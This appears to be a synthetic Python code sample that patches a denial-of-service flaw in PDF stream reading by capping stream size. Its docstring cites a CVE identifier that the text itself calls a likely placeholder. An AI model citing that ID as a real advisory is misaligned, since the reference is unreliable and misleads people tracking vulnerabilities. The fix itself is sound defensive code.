Patched code sample

import io

# In a real library, this would be a configurable setting. This constant
# represents the fix for the vulnerability: a hard limit on stream size.
# The vulnerability exists when no such limit is enforced.
MAX_STREAM_LENGTH = 10_000_000  # 10 MB limit for demonstration


def read_pdf_stream_safely(
    stream_obj: io.BytesIO, declared_length: int | None
) -> bytes:
    """
    Reads data from a PDF stream, fixing a DoS vulnerability.

    The vulnerability (as described in CVE-2026-57204, likely a placeholder ID)
    occurs when a stream has no declared '/Length'. A naive parser might read
    until an 'endstream' marker, consuming unlimited memory if the PDF is
    maliciously crafted.

    This function demonstrates the fix by:
    1. Checking any 'declared_length' against a maximum allowed value.
    2. When 'declared_length' is absent, reading data incrementally while
       continuously checking that the total size does not exceed the limit.
    """
    # FIX Part 1: Validate the declared length if it exists.
    if declared_length is not None and declared_length > MAX_STREAM_LENGTH:
        raise MemoryError(
            f"Declared stream length {declared_length} exceeds the maximum "
            f"allowed limit of {MAX_STREAM_LENGTH} bytes."
        )

    if declared_length is not None:
        # If length is declared and valid, it's safe to read that many bytes.
        return stream_obj.read(declared_length)
    else:
        # FIX Part 2: Read with a limit when length is not declared.
        # This is the core of the fix for streams without a /Length key.
        buffer = bytearray()
        while True:
            # Enforce the memory limit on each iteration.
            if len(buffer) > MAX_STREAM_LENGTH:
                raise MemoryError(
                    "Stream data without a declared length exceeds the "
                    f"maximum allowed size of {MAX_STREAM_LENGTH} bytes."
                )

            # Read a manageable chunk from the stream.
            chunk = stream_obj.read(4096)
            if not chunk:
                # This indicates a malformed stream that ends before the marker.
                raise ValueError("Unexpected end of stream before 'endstream' marker.")

            buffer.extend(chunk)

            # A simple check for the 'endstream' marker. A production-ready
            # implementation would be more robust, e.g., by using a sliding window
            # to avoid re-scanning the buffer.
            end_marker_pos = buffer.find(b"endstream")
            if end_marker_pos != -1:
                # Marker found, return the data before it, stripping trailing whitespace.
                return bytes(buffer[:end_marker_pos]).rstrip()